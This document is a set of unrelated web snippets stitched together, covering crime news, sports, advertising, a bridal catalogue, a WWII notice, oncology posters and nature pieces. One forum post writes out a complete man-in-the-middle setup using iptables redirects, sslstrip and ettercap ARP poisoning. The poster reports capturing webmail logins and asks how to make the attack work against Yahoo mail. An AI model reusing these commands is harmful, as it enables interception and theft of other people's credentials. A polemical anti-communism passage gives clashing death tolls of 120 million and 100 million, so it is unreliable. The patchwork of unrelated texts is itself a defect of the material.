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HOUSTON - A crook was caught on camera breaking into a southwest Houston cellphone store through the roof.
Surveillance video caught the heist at the Cell Phone Wholesale store in the 3600 block of Hillcroft early Tuesday.
The robber broke into the store through a hole that was cut in the roof.
"I was shocked. Like, what happened? How did it happen? Why? Why did it happen," said Saira Siddiqa, the store owner. "He must be really watching a lot of movies, thinking they can string down and all that."
After stuffing his pockets with cellphones, the thief slid the back of the counter open and grabbed as many phones as he could carry.
Siddiqa said the burglar took more than 40 smartphones, valued at about $650 each.
"I lost everything. We never ever expected someone would come (through) the roof. Never," Siddiqa said.
The crook tried to escape back up the rope that he scooted down to get inside the store. But the extra weight from the cellphones caused the rope to snap and he fell back onto the floor. The thief then used a stool to boost himself up to escape.
When police arrived, all they found was debris and an empty stool.
Anyone with information is asked to call Crime Stoppers at 713-222-TIPS.
Copyright 2012 by Click2Houston.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


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Extraordinary designer wedding dresses, bridesmaids dresses, reception dresses, wedding veils and wedding jewelry. It's all here, and it all works together.
We've been designing wedding dresses for 30 years now, and we're still inspired by runway trends from New York, Paris, London and Milan and attentive to changing bridal trends and style influences. A beach wedding dress was one trend in particular we noticed more women were asking for. With that in mind, Vatana Watters and the Watters design team created a new collection of wedding dresses. The result – Willowby. One part Napa Valley chic, one part laid-back elegance, one part Boho, sultry charm. A beautiful mix.
The Watters bridal dresses also continued to evolve in sophisticated ways. Our beaded, embroidered corsets, voluminous ball gown skirts, flattering silhouettes, colored wedding dresses, and lace wedding dresses live up to every girl's wedding dreams. And, we might add, very affordably priced considering the high level of design detail.
This season you'll also find an ahh-inspiring selection of bridal accessories too. Our design partnerships with acclaimed veil designer Toni Federici and jewelry designer Thomas Knoell give you a direct line to exquisitely designed wedding veils and wedding jewelry. Watters Design Director, Xay Vongphachanh, is mad for the new bridal cuffs.
We know you want to look amazing at all the events before and after your wedding. Our Encore collection is the ticket. Through Encore, you can find a short wedding dress, a charming rehearsal dress, reception dress, the perfect exit dress or a honeymoon dress that packs without fuss. Bridesmaid dresses have come a long way since we kicked off our company three decades ago, and we're known for being on the leading edge of the design revolution that helped move the silhouette from Bo Peep to beautiful.
For junior bridesmaids and mother of the wedding, there are exciting choices too, from classic bridal styles to modern wedding looks. And because we all know that friends and family come in different sizes and shapes, you'll be happy to know that our styles are beautifully proportioned to plus size 24.
You have a lot to look forward to when you meet with the bridal stores around the country and around the world that carry Watters bridal designs, stage trunk shows and uphold our philosophy of doing everything with the highest quality. You'll benefit from the expert wedding advice and gracious service and you'll treasure the rela- tionships you develop along the way.


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THE GREY GATSBY could bid for a triumphant return to York Racecourse in the Juddmonte International at the Welcome to Yorkshire Ebor Festival in August.
Kevin Ryan's Dante Stakes winner in May, who subsequently won the Prix du Jockey Club in France, is trained less than 30 miles away from the track at Sutton Bank.
He broke his maiden on Knavesmire and is one of 38 top middle distance horses entered in the £800,000 mile and a quarter contest - the richest race ever staged at York.
Also bidding for the chance to join a roll of honour that includes Frankel are Derby winner Australia, Noble Mission and Godolphin hope True Story.
With track chiefs having increased the prize money for all their three Group 1 contests - the Juddmonte, Darley Yorkshire Oaks and Coolmore Nunthorpe Stakes - they have been swamped with top quality entries.
The last two Oaks champions, Taghrooda and Talent, could go for the £330,000 York equivalent, while in the Nunthorpe five Royal Ascot winners - Sole Power, Slade Power, Hootenanny, Anthem Alexander and Baitha Alga - are among 52 entrants for the five furolong dash.


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Cpl James P Lee, Transportation, 321stBG,447thBS, MTO
1944 — Italy
Cpl James P Lee;
321stBG,447thBS, Cpl James P Lee, Transportation
Cpl. James P. Lee, was from Woodbridge, N.J. Cpl. Lee worked in the transportation crews, with the U.S. Army Air Force, 12th Air Force, 57th Bombardment Wing, 321st Bombardment Group, 447th Bombardment Squadron, which used B-25 Mitchell Medium Bomber Aircraft, stationed in the MTO during WW2. Cpl. Lee was KILLED on 19 February 1944 in a plane crash, along with 5 other crew members, while on a shuttle service between Vincenzo and Gaudo, Italy. The cause of the crash is not known.
God Bless our Brave Men.....
Barbi Ennis Connolly, 321st Bomb Group Historian, email@example.com 321st BG History team, John T Fitzgerald, Patti Johnson and Barbi Connolly.


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Communism has stamped its mark on the 20th century—a mark of aggression and cruelty, bloodshed and tears. Historians have estimated that its ideology has caused the death of 120 million people since the Russian Revolution of 1917. These casualties include not only soldiers killed on battlefields, but citizens murdered by their own governments. The whole world has seen the pitiless slaughter carried out by Communist leaders. One hundred million men and women, from the elderly to young people and infants, lost their lives to this cold, hard, savage ideology. Communist regimes have deprived tens of millions of their most basic rights and freedoms, ejecting people from their homes and systematically subjecting them to famines, slavery in labor camps and imprisonment. Millions have been the targets of Communist guerilla groups and terrorist organizations, and still others have lived in the fear of becoming targets for their bullets.
What are this ideology"s roots? Where was Communism born? How did such a cruel, bloodthirsty worldview find adherents and supporters throughout the world? Why did it come to power and flourish, dragging millions in its wake? How did it come to an end, with the collapse of the Soviet Union? Or has it really ended, or does it still threaten every country on earth?
This article answers these questions, and draws our attention to a most important one: Does this serious threat still exist in the world? Regrettably, yes. Communism is waiting in ambush!
October, 2002
October, 2002
July, 2002
July, 2002


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Chris Botti | SFJAZZ
Chris Botti
Chris Botti, the world's biggest-selling jazz instrumentalist, was never the same after hearing Miles Davis' version of "My Funny Valentine" when he was 12. A subtle trumpeter with a sumptuous sound, fluent phrasing and sense of space, Botti became a masterly musician equally at home in the realms of jazz and pop. He honed his craft performing and recording with stars like Frank Sinatra, Buddy Rich, Paul Simon, Joni Mitchell, and Sting, who featured him on his Brand New Day tour and who was one the stellar artists on Botti's chart-topping 2009 album Live in Boston. Recorded with the Boston Pops Orchestra, it also featured the versatile trumpeter improvising in the company of Yo-Yo Ma, John Mayer and Steven Tyler. Botti's 2012 CD Impressions, a ballad collection pairing him artists as various as Vince Gill, Herbie Hancock, Mark Knopfler and Caroline Campbell, won the GRAMMY for Best Pop Instrumental Album. In concert, the melodious trumpeter is as likely to play the second movement of Rodrigo's "Concierto de Aranjuez" – played so beautifully by Miles on Sketches of Spain – as he is Al Green's grooving "Let's Stay Together" or a leanly romantic "When I Fall in Love."
Artist Personnel
Chris Botti trumpet
Lee Pearson drums
Richie Goods bass
Ben Butler guitar
Taylor Eigsti piano
Ben Stivers keys
Sy Smith vocals
Caroline Campbell violin
Rafael Moras vocals


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Tailor-made IT solutions are necessitated by a combination of customer location, internal pre-requisites and the company's size. We customize STYLISTIC tablet PCs, LIFEBOOK notebooks, FUTRO thin clients, ESPRIMO PCs, CELSIUS workstations and PRIMERGY industrial servers in accordance with your specific needs. We offer best-practice customizing services for hardware- and software-related alterations, add-on services to improve processes and an extended lifetime for our products to ensure continuous quality control in rollouts.
Jaga seda lehte


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Mapping Prevention: Consent Work
If there is one thing I've learned over the past 14 years, it's that there are very few "new" prevention concepts. Many initiatives come and go, and then come back again. It's sort of like fashion. I never thought those leggings I wore back in the 80's would ever come back around, and yet here they are again. Prevention ideas that were part of the foundational work of the civil rights and feminist movements many decades ago have made a comeback. Social norms change, community mobilization, engaging youth as agents of change are just a few of those initiatives. That's not to say that these concepts haven't changed or grown with time. But sometimes we embrace them like they are new ideas, without realizing that they were developed and fine-tuned by marginalized communities decades ago.
A prime example: consent work. This is a topic that many preventionists have embraced in the past few years. But much of the groundwork around consent was laid by the Lesbian, Gay, Bisexual, Transgender, Queer or Questioning, Intersex (LGBTQI) community many years ago. Negotiating consent was a part of everyday conversation. These conversations continue today as the LGBTQI community embraces a sex-positive approach in discussing how to talk openly and honestly about healthy, respectful ways of negotiating consent.
I had the pleasure of talking with Dustina Hasse-Lanier of the Oregon Coalition Against Domestic and Sexual Violence (OCADSV) and Jessica Gilbertson, formerly of OCADSV, about this issue at the 2011 National Sexual Assault Conference as they prepared to lead their workshop titled, "Follow the Yellow Brick Road: Re-learning Consent from our ForeQueers". This workshop was a huge hit, and you can find out why by watching the video of my interview with them in the 2nd installment of our Mapping Prevention video podcast series. Then let us know what you think by posting a comment.
Wow! I love these messages and these folks!


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The blood of murder accused Steven Williams was found in at least three different locations in the flat where Joanna Hall was stabbed to death, a jury heard today.
Williams, aged 30, of Newell Hill, Marsh Road, Tenby, is on trial at Swansea crown court charged with stabbing Miss Hall 40 times in the early hours of March 16 last year.
He denies the charge.
Forensic scientist Emma Howes told the jury today how she examined Miss Hall's flat in Cresswell Street, Tenby, after she had been airlifted to Swansea's Morriston hospital, where she died 19 days later.
She said she found Williams' blood in a bathroom sink, on Miss Hall's mobile telephone and on a white T shirt—and there was only a one in a billion chance that it had come from someone else.
She said she would have expected the blood in the sink to have been washed away by normal usage unless it had been deposited only a short time before.
Mrs Howes added that it appeared that Williams had changed some of his clothing after the incident.
The jury has been told that after his arrest outside the flat it was noted that Williams had a bleeding injury to his left ear.
Mrs Howes also told how she found Miss Hall's DNA on a kitchen knife.
Paramedic Paula Jeffrey, who was the first to treat Miss Hall, said when she arrived Miss Hall was conscious and able to answer questions.
"She was complaining that she could not breathe. Her blood pressure was very low and her pulse was weak and feeble.
"She said she was scared. It was decided the helicopter was needed, "she added.
Heath Willoughby, a nurse at Tenby Cottage Hospital, said Williams visited at 5.30pm on the evening before the stabbing, but not with an ear injury. Instead, he was complaining that he might have contracted a sexually transmitted disease.
She said Williams was a regular patient and she had treated him between 15 and 20 times.
The trial continues.


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Cats! We give them love. We give them a home. We give them all the food they can slowly eat. Aside from the occasional snuggle (or scratch), they don't give us too much in return, though. That is about to change. Welcome to a world in which a cat's butt can create delicious coffee.
Using the digestive tract of an animal to make gourmet coffee is nothing new. People have been harvesting beans from elephant dung for years now. The civet, also known as the toddycat, is getting in on the act, helping to produce the world's most expensive coffee. Great Britain's Harrods department store is now selling Terra Nera coffee, which is made from civet cat-processed beans, for $227 a bag. That's right. $227 for a tiny bag of coffee.
Sure, that might sound like an outrageous sum but isn't it worth it to be able to tell your friends and family what they've just drunk an entire cup of? Someone is liable to faint.


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Greetings ,
I'm conducting test in my lab for ssl sniffing ,
Tools :
vim /etc/sysctl.conf
removed hash from this line and added 1 ==> net.ipv4.ip_forward=1
saved the file .
iptables -t -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
iptables -A FORWARD -j ACCEPT
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to x.x.x.x <= wan ip
ssltrip -k -p -l 10000
ettercap -i eth1 -Tq -M arp /192.168.2.3/ // // -P autoadd
Now ive tested hotmail thats work fine although gmail as well , but only issue with mail.yahoo.com.
As I loged in from my (target)client after clickin on signin I see a blank page and header of that page is Bad Request no error code or such . Any idea what am I doing wrong here.


text: One unhappy shopping experience can influence the behavior of 16 customers. Can you afford to lose that business? By Jim Callahan. Great customer service is still and will always be the hallmark of any successful retail business. As convenience store operators we have high standards to compete with. For example, it is standard practice in


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Former Fortuna Pastor Pleads Guilty To Molestation Charges
The former Fortuna Pastor who turned himself in for lewd and lascivious acts with a child plead guilty in a tense courtroom Thursday. 90-year-old Donald Vincent Fregeau Senior plead guilty to all charges filed against him.
Murder suspect, Sean Hawk, was brought down by bailiffs after he attempted to attack Fregeau in the courtroom. Hawk, who is the suspect in an Orleans hit and run in February, was taken out of the courtroom.
Fregeau's attorney is seeking parole for the suspects sentencing. Fregeau could face up to 16 years in prison for the three counts against him.
The Fortuna Police Department arrested Fregeau under Penal Code 288, which is lewd and lascivious acts with a child under the age of 14. Fregeau originally confessed to police in June. Police said previously they had heard the acts have been going on for decades, and a victim had come forward.
Fregeau will face sentencing in December.


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PASADENA, Texas - A Houston-area father accused of stealing scrap metal from a burned-out Pasadena church left his babies in the car while he committed the crime, police said Monday.
Investigators said Armando Liceaga, 31, brought his young daughters along while he stole copper and left them in a hot car while he jumped a fence. He was arrested by Pasadena police on Thursday.
According to police, Liceaga parked his car in the sun with those two baby girls in the back seat, and then went through the fence to look for copper wiring in the rubble of the church on Red Bluff Road.
The vacant church burned to the ground last month in what investigators are calling a suspicious fire.
Liceaga allegedly stole more than $1,500 worth of scrap metal from the debris.
Police said they found the metal stacked in his back seat, around and on the two children.
Liceaga has a rap sheet that includes convictions for burglary, DWI and drug possession. Now he's charged with endangering his children and theft, which are third-degree and state jail felonies.
Those two little girls, aged 1 and 2, are in the custody of their aunt.
Copyright 2012 by Click2Houston.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


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The Norwich Bulletin, of Norwich, Ct., published an article about AAVSO co-founder William Tyler Olcott in their blog focused on the history of the town. It includes interesting tidbits about Mr. Olcott, references to the AAVSO and proposals for ways to commemorate him.
Click here to read the story.
Welcome to the AAVSO Computer History Project
The purpose of this project is to document the history of the Information Technology Infrastructure of the AAVSO, how it came to be, what hardware was used, who were the people involved, and how the technology was used to further the mission of variable star observing and analysis.
The Advancing Variable Star Astronomy book that chronicles the first 100 years of the AAVSO is now available as an Amazon Kindle e-book. Of course, hard copies are still available from the AAVSO for $80 (20% discount), while supplies last.
The RASC has just published a digital copy of David Levy's personal log books in PDF format:
The AAVSO's volunteer-driven project to digitize paper archives of variable star observations is moving forward, and there have been some exciting developments over the past few months that deserve to be mentioned. Here, I'll summarize some of the happenings in this project, and talk about some of the issues that have arisen at AAVSO and among the volunteers.
This is part of our ongoing series to highlight new features of the new AAVSO web site.
Matt Templeton scanned all of the abstracts and put them online in PDF format. The abstracts cover items presented at meetings, but often include much more info than a modern day abstract. For example, the last issue includes abstracts that are over 3 pages long, meeting memories, history of the AAVSO articles and even a poem! Here is his description of the abstracts from the first paragraph on the web page:
Revised August 2000
Quick link: want to get involved? Visit the Eggen Data Project Google group!
The AAVSO International High Energy Network came about as an evolution of the AAVSO International GRB Network. The GRB Network was established at the First High Energy Workshop for Amateur Astronomers in April, 2000. The GRB network was a great success, detecting many GRB afterglows and discovering a few on our own. The follow-up of GRB optical afterglows continues to be a major focus of the Network today.


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10 Signs She's A High-Maintenance Girlfriend
Women who demand respect often get exactly that. And why shouldn't they? We not only deserve it, we should expect it. But there's a tipping point when a woman's demands jump the shark from self-respecting to totally high maintenance, or, as I like to call it, highmay. There are the obvious one-name offenders: Madonna and her overnight full body saran wrapping, Cher and her multiple costume changes. And then there are women who demand maintenance in ways that are less obvious, but just as lethal. She is "the worst kind," as Harry so clearly explained to Sally. "You're high maintenance but you think you're low." So girls and guys, I'm going to be like your cool older sister who bought your sorry 15-year-old ass beer from the Quickmart and offer you a few tips on how to preemptively spot a high-maintenance girlfriend. Because those dudes I described yesterday have company.
Gals, you can write your seemingly benign behaviors off as girly or cute, or you can see them for what they are—blinking red lights indicating you're about to take the onramp to the highmay highway.
Guys, ignore the warning signs at your peril—unless, of course, you're a glutton for punishment; then ending up with a woman who's just like your highmay mother is probably inevitable.


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Topic: March 2012 Society of Surgical Oncology Poster Presentations
Here is a synopsis of the poster presentations that pertain to our specific cancer. I have taken photos of each poster, and if anyone would like me to email them, please let me know. With an email, I can forward on the detailed data, i.e. graphs, pie charts, scans, etc. or upload to a doc and email the link.
Remember that this is very technical jargon. It is posted as it was found on the presentation materials.
In further postings I will attempt to attach all links for detailed info.
Thank you much!
Poster 229
Phase 2 Trial Results for Sunitinib and Transarterial Chemoembolization (TACE) in Inoperable Hepatocellular Carcinoma. (HCC)
Y.V. Wu, C.M. Tomaszewski, G.J. Fetterly, B. Kuvshinoff, A. Groman, N.W. Wilkinson, N.I. Khushalani, R.V. Iyer.
Roswell Park Cancer Institute, Buffalo, NY.
Hepatocellular cancer (HCC) is rapidly fatal vascular endothelial growth factor driven cancer. Both TACE and targeted anti-angiogenic therapies have been shown to improve outcomes in patients with inoperable HCC. High intratumoral pressure and vasucal permeability limits delivery of chemo during TACE. High VEGF expression correlates with poor response to TACE and neo angiogenesis occurs after TACE that promotes tumor growth and progression. Sunitinib, a potent inhibitor of VEGF driven antiogenesis, and vascular permeability may allow better delivery of TACE, and prevent neoangiogenesis after TACE.
Sunitinib is an oral small molecule tyrosine kinase inhibitor of VEGFR 1, 2, 3, PDGF alpha and beta, Flt3, KIT, CSF 1R and RET. Binding of sunitinib to VEGFRs has been correlated with decrease in the spliced variant of soluble VEGFR2 and circulating monocyte numbers, we examined these markers and correlated them with sunitinib pharmacokinetics (PK) and other clinical outcomes in this prospective trial.
To estimate the Progression Free Survival (PFS) in patients with advanced inoperable HCC.
To estimate the Overall Survival (OS), radiological response rate (RR) by RECIST, quality of Life using the FACT-HEP scale and toxicity of all pts on study.
Correlation of clinical outcomes with functional imaging response assessed by DCE-MRI (Ktrans, AUC 90, % necrotic tumor), sunitinib PK, soluble VEGFR2 levels and monocyte numbers.
Inclusion criteria
1. Patients with histologically or biochemically confirmed HCC that is inoperable and involves 50% or less of the liver parenchyma.
2. Child Pugh Class A or B cirrhosis
3. ECOG performance status 0 or 1.
4. Adequate hematologic, hepatic and renal parameters (Platelets equal to or greater than 100K, Bilirubin less than or equal to 2mg/dl)
5. Written informed consent.
Exclusion criteria
1. Impedence to hepatopedal flow/ other contraindication to TACE.
2. Known allergy to the study drug, iodinated contrast, or doxorubicin.
3. Prior liver transplant.
4. Prolonged Qtc
5. Other uncontrolled comorbid illness.
Design: This is a single arm, multicenter phase II trial. A total of 37 eligible patients will be enrolled.
Treatment: Cycle 1-Sunitinib 37.5mg PO QD days 1-7 followed by TACE with doxorubicin in lipiodol on day 8, continued sunitinib 37.5mg PO QD day 15-36 followed by 2 weeks off. Cycle 2 onwards- sunitinib 4 weeks on and 2 weeks off, with dose escalation to 50 mg in pts without any grade 3 toxicities in Cycle 1.
Assessments: Radiographic response (RECIST) was assessed by CT scans Q 6 weeks and QOL questionnaires (FACET Hep) were filled at baseline and before each new cycle. In patients who consented for additional imaging (optional), DCE MRI was performed at baseline, day 8 (after 7 days of sunitinib), day 10 (48 hrs post TACE) and then day 36 (after sunitinib + TACE cycle 1). Blood samples for sunitinib PK, soluble VEGFR2 and monocytes were obtained in all patients at the same timepoints as DCE-MRI imaging.
Statistics: Statistical analysis will be performed by the Kaplan-Meier method, log-rank test, Cox proportional hazards model and the Wilcoxon rank sum test.
Patient Characteristics
Sixteen of the planned 37 pts were accrued between April 2007 and January 2011. The study was closed when sunitinib failed to show superiority to sorafenib in a large Phase 3 trial. Patient characteristics are summarized in Table 1.
Clinical endpoints
Median PFS was 8 mo (95% CL 4.3-9.3) and OS was 14.9 mo (95% Cl 6.3-27.1) with a median follow up of 12.8 months, and 5 patients still alive. Responses by RECIST criteria were 2 PR, 11 SD and 3 clinical deteriorations; clinical benefit rate was 81%. Median number of cycles on study was 3 (range 1-7). Dose delays and dose reductions occurred in 13 and 3 patients respectively. Reasons for discontinuation therapy were toxicity (7), progression of disease (7) and withdrawal of consent (2).
Toxicities: Eleven pts (69%) had grade 3/4 toxicities attributable to sunitnib. Of the 57 total events, the most frequent (n=5 or more) were thrombocytopenia (10), amylase/lipase increase (9), lymphopenia (7) and fatigue (6).
https://docs.google.com/document/d/1-uw … lLSqc/edit
Correlative endpoints
DCE-MRI: Eight pts consented for the optional DCE- MRIs at baseline., day8, 10 and 36. Median Ktrans change was -20% (95%Cl - 37% to 0%) after 7 days of sunitinib and a 7% further decrease was seen after TACE and sunitinib.
A decrease in viable tumor at same timepoints was 3% (day 8) and 15 % (day 36) respectively.
Sunitinib PK: Steady-state sunitinib concentrations ranged from 20-150 ng/ml, which were above the IC50 values of 15 and 10 ng/m; for modulation of K trans and SUC90.
Soluble VEGFR2 and circulating monocytes:Median plasma sVEGFR2 was 8 ng/ml and decreased by 16% on day 9 and 40& on day 36 sVEGR2 levels increased with Ktrans and AUC90. Median monocyte counts were 0.4 x 10 x9/L before and decreased by 50% on day 36 after TACE.
Quality of Life: QOL data are being analyzed.
This is the first study of sunitinib and TACE in HCC. Encouraging PFS and OS was seen with acceptable toxicity. Our studies show a relationship between sunitinib concentration and following markers: Ktrans, AUC90, SVEGR2 and monocytes: additional marker decrease was seen post TACE.
Poster 236
Significance of CEACAM6 Expression in Cholangiocarcinoma
F.G. Rocha, J. Torres, N. Katabi, M. Gonen, R.P. DeMatteo, Y. Fong, M.I. D'Angelica, P.J. Allen, D.S. Klimstra, W.R. Jarnagin. 1. Virginia Mason Medical Center, Seattle, WA: 2. Memorial Sloan-Kettering Cancer Center New York, NY.
Background: The entire biliary tree is at risk for malignant change, but little is known about differences in molecular pathogenesis with respect to anatomic site. CEACAM6 is a membrane protein involved in cell adhesion and signaling that is overexpressed in pancreatic adenocarcinoma and associated with poor prognosis. This study examines CEACAM6 expression in the entire spectrum of cholangiocarcinoma and its relationship to outcome.
Methods: Tissue microarrays containing triplicate cores of paraffin-embedded surgical specimens from patients with cholangiocarcinoma (hilar, intrahepatic, distal) and control tissue were probed for CEACAM6 immunohistochemistry. Clinical, pathologic and survival data were analyzed and correlated with CEACAM6 expression. Survival was estimated using the Kaplan-Meier method and compared with log rank tests.
Results: One hundred twenty cases of cholangiocarcinoma from 1992-2000) were assembled in the tissue microarray. Strong CEACAM6 signal was present in 30/60 (50%0 of hilar tumors, 7/45 (16%) of intrahepatic tumors, 15 (47%) of distal tumors, and none of the control tissues. Overall median survical and follow-up were 36.4 months and 98.2 months, respectively. CEACAM6 staiing did not correlate with sex, grade of differentiation, positive lymph nodes, vasuclar invasion or metastases but was associated with age >65 (p<0.05) and higher T stage (p<0.05). After R0 resection, CEACAM6 expression was associated with disease-specific survival (DSS) only in the subset of patients with intrahepatic cholangiocarcinoma (median DSS 78 months for negative and 16 months for positive, p<0.000 . Vascular invasion was the sole independent predictor or survival on multivariate proportional hazards regression (HR=1.742[1.048-2.895 95%Cl], p<0.0323).
* Vascular invasion is an independent predictor of survival in patients with biliary tract cancers
* CEACAM6 expression may be determinant of poor outcome in intrahepatic cholangiocarcinoma
* These patients should be considered for adjuvant therapy following R0 resection
https://docs.google.com/document/d/1D-1 … x_ecY/edit
Poster 237
Are We Justified in Excluding Patients with Combined Hepatocellular-Cholangiocarcinoma from Transplantation?
R.T. Groeschl, S.G. Pappas, K.K. Christians, S. Tsai, E.J. Quebbeman, T.C. Gamblin, K.K. Turaga. Medical College of Wisconsin, Milwaukee, WI.
Although transplantation has demonstrated survival benefit for patients with hepatoceullular carcinoma [HCC], there is limited data to support or refute transplantation for combined hepatocellular-cholangiocarcinoma [cHCC-CC].
We hypothesized that patients with cHCC-CC had a poorer overall survival than patients with HCC after liver transplantation [LT]. we also examined the outcomes of partial hepatectomy [PH] for patients with HCC and cHCC-CC.
Patients with localized HCC and cHCC-CC who underwent either LT of PH were identified using the Surveillance, Epidemiology and End Results [SEER] database (1973-2007). cHCC case data from the United Network for Organ Sharing [UNOS] was used as a control.
Overall survival [OS] was analyzed with Kaplan-Meier curves, and Cox proportional hazards models were used to study potential prognostic factors.
We included 3378 patients with HCC of cHCC-CC from the SEER database (table 1).
Patients undergoing LT for HCC had a significantly greater survival benefit at 3 years as compared to patients transplanted for cHCC-CC (78% vs 48%, p = 0.01 Table 2).
The number of cHCC-CC diagnoses annually from the SEER and UNOS datasets are shown in Figure 1.
OS for cHCC-CC patients by treatment type is shown in Figure 2.
Clinical characteristics and OS of the control cohort of 65 cHCC-CC patients from UNOS is shown in Table3.
In a multivariable model controlling for age and gender, LT for cHCC-CC was associated with a significantly greater hazard of death when compared to LT for HCC (hazard ration: 2.5, 95% Cl: 1.2-5.1, p = 0.01).
Patients with cHCC-CC had poorer overall survival than patients with HCC after transplantation.
Both transplant and resection offered similar survival benefit for patients with cHCC-CC. In an era of organ shortage, this supports liver resection as a viable treatment option for these patients.
Further research is needed to address the comparative benefits of systemic and liver-directed therapies for patients with cHCC-CC.
https://docs.google.com/document/d/1R2v … ebCmQ/edit
https://docs.google.com/document/d/1b9T … Pdlk4/edit


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A's romp behind Kazmir's dominant outing vs. Giants
Oakland wins Bay Bridge Series; Donaldson, Vogt fuel offense
SAN FRANCISCO -- Scott Kazmir demonstrated once again Thursday that he is more than just a feel-good story. His latest pitching line to close out a remarkable first half: seven shutout innings, three hits, one walk and nine strikeouts, lifting the A's to a 6-1 win over the Giants as Oakland took three of four in the Bay Bridge Series for a second straight year.
Kazmir will head to his third All-Star Game next week with some truly gaudy numbers. He boasts an 11-3 record to complement a 2.38 ERA, a 0.98 WHIP (walks plus hits per inning pitched) and 108 strikeouts in 117 1/3 frames.
"He gives up zero, one or two runs and gets you deep in the game," said A's manager Bob Melvin. "He's been as consistent as anybody in the league -- both leagues."
Kazmir's biggest scare Thursday came in the fifth with two outs and men on second and third. Tim Hudson drove a ball to deep center field, but the speedy Craig Gentry ran it down.
The lefty has allowed one or zero runs in 11 of his 19 starts, and Thursday's effort was one of his best.
"He's pitching. Man, he's pitching," said Stephen Vogt. "He's throwing pitches in any count, any time, and he looks great. The way he moves feet, moves eyes and dots up the corners and gets people to chase pitches is really remarkable. He's been Mr. Consistency for us."
"A couple innings he kind of battled out of some trouble," Josh Donaldson added, "but for the most part, he just did what he normally does, and that's get outs and put up zeros."
For the A's, it was business as usual Thursday after a one-day hiatus from dominating their opponent Wednesday.
Donaldson hit his 20th homer, Oakland tagged Hudson for six runs and the A's took a small step toward bucking a bad trend as they won their third game at AT&T Park in their last 16 tries. The A's have now won seven of their last eight games overall and 18 of their last 25.
Facing his former team for the first time since 2008, Hudson lost his mojo in the sixth. After Brandon Moss led off with a double, Donaldson -- who will compete in the Home Run Derby on Monday -- belted his fourth opposite-field dinger of the season, a two-run shot to make it 4-0.
Donaldson went 2-for-3 with a walk in his first multi-hit effort since June 28, with both hits going the other way.
"I've hit a lot of lazy fly balls in the last week to right field," Donaldson said. "[Hitting coach] Chili [Davis] and I have really been grinding the last few days, really trying to stay on my back side, let the ball get on me deep, and when it gets there, put a nice swing on it."
Hudson departed soon after Donaldson's homer with the bases loaded, and with two outs, Vogt lined a two-run single off Javier Lopez.
"The biggest at-bat of the game is probably off Lopez right there," Melvin said. "Gives us a little bit more of a cushion. His at-bats have been phenomenal, his versatility, we've really needed it here with some of the injuries that we've had. He's been a star for us."
Vogt extended his career-best hitting streak to 10 games, a stretch during which he is 16-for-35 (.457). Since being called up on June 1, he boasts a slash line of .366/.394/.538.
"I feel like myself, to be quite honest," Vogt said. "I was really hungry to come back to the big leagues this time. It feels like I'm just playing baseball again. It doesn't feel like, 'Oh, man, I'm in the big leagues.' I feel very comfortable."
The A's, sitting at a very comfy 58-34, will play a three-game set in Seattle before the All-Star break.
Aaron Leibowitz is an associate reporter for MLB.com. This story was not subject to the approval of Major League Baseball or its clubs.


text:
Illustration copyright 2000 by Nucleus
Communications, Inc. All rights reserved.
Pyloric stenosis is a condition in which a baby's pylorus (the
connection between the stomach and the first part of the small intestine)
gradually swells and thickens. This interferes with food entering the
intestine and causes the baby to vomit most or all of his or her
To treat pyloric stenosis, a surgeon cuts the ring of muscle
(sphincter) in the pylorus. This widens the channel between the stomach and the
intestine. Pyloric stenosis does not usually occur again after a baby has been
Last Revised:
December 9, 2011
Healthwise Staff
Medical Review:
John Pope, MD - Pediatrics & Brad W. Warner, MD - Pediatric Surgery
This information does not replace the advice of a doctor. Healthwise, Incorporated disclaims any warranty or liability for your use of this information. Your use of this information means that you agree to the Terms of Use. How this information was developed to help you make better health decisions.
To learn more visit Healthwise.org
© 1995-2012 Healthwise, Incorporated. Healthwise, Healthwise for every health decision, and the Healthwise logo are trademarks of Healthwise, Incorporated.


text:
The love affair between politics and fashion continues apace. This week the Nelson Mandela Foundation unveiled its clothing line in NY and announced it was coming to New York Fashion Week in September. However, Mr Mandela – or his Foundation – is not the first political entity to realise that fashion can be a useful weapon. Indeed, dare I say it, I think this is a major trend. Read more
© The Financial Times Ltd 2016 FT and 'Financial Times' are trademarks of The Financial Times Ltd.


text:
For Botta's pocket gopher, it's all about the pockets.
Cheek pockets, or pouches, that is. The gophers use them to carry stockpiles of food through their networks of underground burrows. According to one source, the cheek pouches in baby gophers open even before the eyes and ears do – at 24 days, two days before they can see or hear.
These gophers have a system. They spend most of their time underground; the deepest parts of their burrows include grass-lined nesting chambers as well as unlined spaces for storage of food, while shallower tunnels are used for feeding.
And the feeding method stirs memories of Saturday morning cartoons. While the pocket gophers will sometimes feed above ground, a favorite trick – used when they attack garden vegetables – is to burrow beneath the plant and pull it down into the ground.
There, they can stuff their capacious cheek pouches with bits of plant matter and carry them down to their storage chambers.
They are considered agricultural pests in some places and can damage lawns, although they sometimes get a bum rap for damaging grasslands. In reality, it appears they are drawn to grasslands already damaged by cattle.
The gophers also are considered beneficial. Their burrowing helps keep native soils porous, the burying of plants makes soil richer, and the holes they make allow water from snowmelt to sink into the earth instead of sheeting away and carrying soil with it.
They're recognizable by their large front feet, yellow front teeth and tiny ears and eyes.
Contact the writer: 714-796-7865 or email@example.com.


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The acacia tree has a very special protection system which exists in no other trees. It has ants…
The ants that live on the acacia tree and which are called acacia ants (Pseudomyrmex ferruginea) protect the trees at the expense of their lives.
In the rain forests of Costa Rica, where the sun appears only between the trees, because of the dense growth, ivy plants turn up. Ivy plants can grow large enough to block all of the acacia tree's leaves and branches, and block the sunlight from reaching them. This works the same way for all of the trees in the woods except for the acacia tree, which has it's own unique method of dealing with the competition.
When the ants realize that an ivy plant is blocking the sunlight from reaching the tree, they suddenly intervene. Coming together, they cut off and throw away the offending ivy branch or leaf.
Moreover, they not only protect this tree from other plants, but they also prevent grasshoppers from harming the acacia tree by stinging them; acacia ants have even been known to repel larger animals, such as goats, by stinging them on the head.
In return for this gardening service the acacia tree provides the ants with an excellent nutrient source The nectar of the tree serves as an excellent nutrient for the acacia ants, and the orange- colored buds are also a good aliment which acacia ants like. These buds are like a food package which includes all the necessary vitamins for the growth of the larvae.
The acacia tree not only presents valuable s to the ants but also provides them a place to stay. The ants which make their nests in the tree's spine, thus lives out of harm's way, and have the most convenient access to their nutrition source, as well as natural protection from other creatures.
